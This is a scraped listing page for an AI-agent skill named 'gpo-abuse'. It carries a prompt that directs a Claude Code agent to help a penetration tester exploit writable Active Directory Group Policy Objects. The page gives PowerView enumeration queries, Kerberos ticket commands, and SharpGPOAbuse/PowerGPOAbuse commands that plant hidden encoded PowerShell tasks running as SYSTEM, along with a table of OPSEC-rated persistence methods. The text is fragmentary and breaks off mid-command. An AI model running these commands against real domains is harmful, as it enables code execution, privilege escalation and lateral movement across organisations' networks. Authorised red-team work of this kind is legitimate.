acl-abuse
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword, targeted…
Exploits Group Policy Objects for code execution, privilege escalation, and lateral movement in Active Directory. Covers GPO enumeration (GPOHound, BloodHound, PowerView), exploitation via immediate tasks, logon scripts, and registry modifications (SharpGPOAbuse, PowerGPOAbuse,
$ npx -y skills add blacklanternsecurity/red-run --skill gpo-abuse --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
/gpo-abuseContext preview
The summary Claude sees to decide when to auto-load this skill.
Exploits Group Policy Objects for code execution, privilege escalation, and lateral movement in Active Directory. Covers GPO enumeration (GPOHound, BloodHound, PowerView), exploitation via immediate tasks, logon scripts, and registry modifications (SharpGPOAbuse, PowerGPOAbuse,
name: gpo-abuse description: > Exploits Group Policy Objects for code execution, privilege escalation, and lateral movement in Active Directory. Covers GPO enumeration (GPOHound, BloodHound, PowerView), exploitation via immediate tasks, logon scripts, and registry modifications (SharpGPOAbuse, PowerGPOAbuse, pyGPOAbuse, GroupPolicyBackdoor), SYSVOL/NETLOGON logon script poisoning, and GPP password extraction. keywords: - GPO abuse - group policy - SharpGPOAbuse - PowerGPOAbuse - GPOHound - GPO write - immediate task - logon script - SYSVOL - NETLOGON - GPP password - cpassword - group policy preferences - GPO lateral movement - GPO persistence - GPO escalation - writable GPO tools: - SharpGPOAbuse - PowerGPOAbuse - pyGPOAbuse - GPOHound - GroupPolicyBackdoor - netexec opsec: medium
You are helping a penetration tester exploit writable Group Policy Objects for code execution, privilege escalation, and lateral movement across Active Directory. All testing is under explicit written authorization.
**Kerberos-first authentication**: Enumeration and exploitation commands use Kerberos authentication where supported. pyGPOAbuse and Impacket tools use `-k -no-pass`, GroupPolicyBackdoor supports `-k`. Windows tools (SharpGPOAbuse, PowerGPOAbuse) use the current domain session.
Check for `./engagement/` directory. If absent, proceed without logging.
When an engagement directory exists:
descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).
Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:
Your return summary must include:
GenericAll, or WriteOwner on the GPO object)
`pyGPOAbuse` (Linux), `GPOHound`, optionally `GroupPolicyBackdoor`
**Kerberos-first workflow** (for Linux tools):
getTGT.py DOMAIN/user@DC.DOMAIN.LOCAL -hashes :NTHASH export KRB5CCNAME=user.ccache
# Dump and analyze all GPOs pipx install "git+https://github.com/cogiceo/GPOHound" gpohound dump --json gpohound analysis --processed --object group registry gpohound dump --list --gpo-name
Look for edges: `GenericWrite`, `GenericAll`, `WriteDACL`, `WriteOwner`, `Owns` on GPO objects. Check which OUs the GPO is linked to — this determines the blast radius.
# Find GPOs where current user has write access
Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs | Where-Object {
($_.ActiveDirectoryRights -match "GenericWrite|WriteDacl|WriteProperty|GenericAll|WriteOwner") -and
($_.SecurityIdentifier -match (Get-DomainUser -Identity $env:USERNAME).objectsid)
}
# Get GPO details
Get-DomainGPO -Identity "SuperSecureGPO"
# Find which OUs are linked to the GPO
Get-DomainOU -GPLink "{GPO_GUID}" | Select DistinguishedName
# Find computers in those OUs
Get-DomainOU -GPLink "{GPO_GUID}" | ForEach-Object {
Get-DomainComputer -SearchBase $_.DistinguishedName
}nxc ldap DC.DOMAIN.LOCAL --use-kcache -M gpo_enum
1. **GPO name and GUID** — identifies the policy object 2. **Linked OUs** — determines which computers/users are affected 3. **Computer count** — blast radius of the modification 4. **Current GPO settings** — what the GPO already configures 5. **GPO file path** — `\\DOMAIN\SYSVOL\DOMAIN\Policies\{GUID}\`
| Method | Execution Context | Timing | OPSEC | Go To | |--------|------------------|--------|-------|-------| | Immediate task | SYSTEM | Next GPO refresh (~90 min) | **MEDIUM** | Step 3A | | Computer startup script | SYSTEM | Next reboot | **MEDIUM** | Step 3B | | User logon script | Logged-in user | Next logon | **MEDIUM** | Step 3B | | Registry Run key | User context | Next logon | **LOW** | Step 3C | | Local admin assignment | N/A (persistent) | Next GPO refresh | **MEDIUM** | Step 3D | | User rights assignment | N/A (persistent) | Next GPO refresh | **LOW** | Step 3D | | SYSVOL logon script poison | Logged-in user | Next logon | **LOW** | Step 4 |
**GPO Refresh Timing**: Default is every 90 minutes + 0-30 minute random offset. Force refresh on a target: `gpupdate /force` (requires access). DCs refresh every 5 minutes.
Creates a scheduled task that executes once per GPO refresh cycle.
**SharpGPOAbuse (Windows)**:
# Add immediate task — runs as SYSTEM .\SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" \ --Author "DOMAIN\Admin" --Command "cmd.exe" \ --Arguments "/c powershell.exe -nop -w hidden -enc BASE64_PAYLOAD" \ --GPOName "Vulnerable GPO" --Force
**PowerGPOAbuse (PowerShell)**:
. .\PowerGPOAbuse.ps1 Add-GPOImmediateTask -TaskName 'SystemUpdate' \ -Command 'powershell.exe' \ -CommandArguments '-nop -w hidden -enc BASE
Security assessment toolkit for Claude Code. red-run combines skills, MCP servers, and Claude Code agent teams with routing logic that guides Claude and the operator through the phases of a security assessment — recon, initial access, lateral movement,
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword, targeted…
Enumerates Active Directory domains and maps attack surface for penetration testing.
Establishes persistent access in Active Directory environments after domain compromise. Covers DCShadow (rogue DC attribute modification), Skeleton Key (LSASS…
Exploits ADCS through ACL abuse on templates/CA objects and NTLM relay to enrollment endpoints. Covers ESC4 (template ACL → modify to ESC1), ESC5 (PKI object…
Establishes persistence and exploits weak certificate mapping in AD CS. Covers ESC9 (no security extension), ESC10 (weak certificate mapping), ESC12-15…
Exploits misconfigured AD CS certificate templates to impersonate any domain user via SAN manipulation or enrollment agent abuse. Covers ESC1 (enrollee…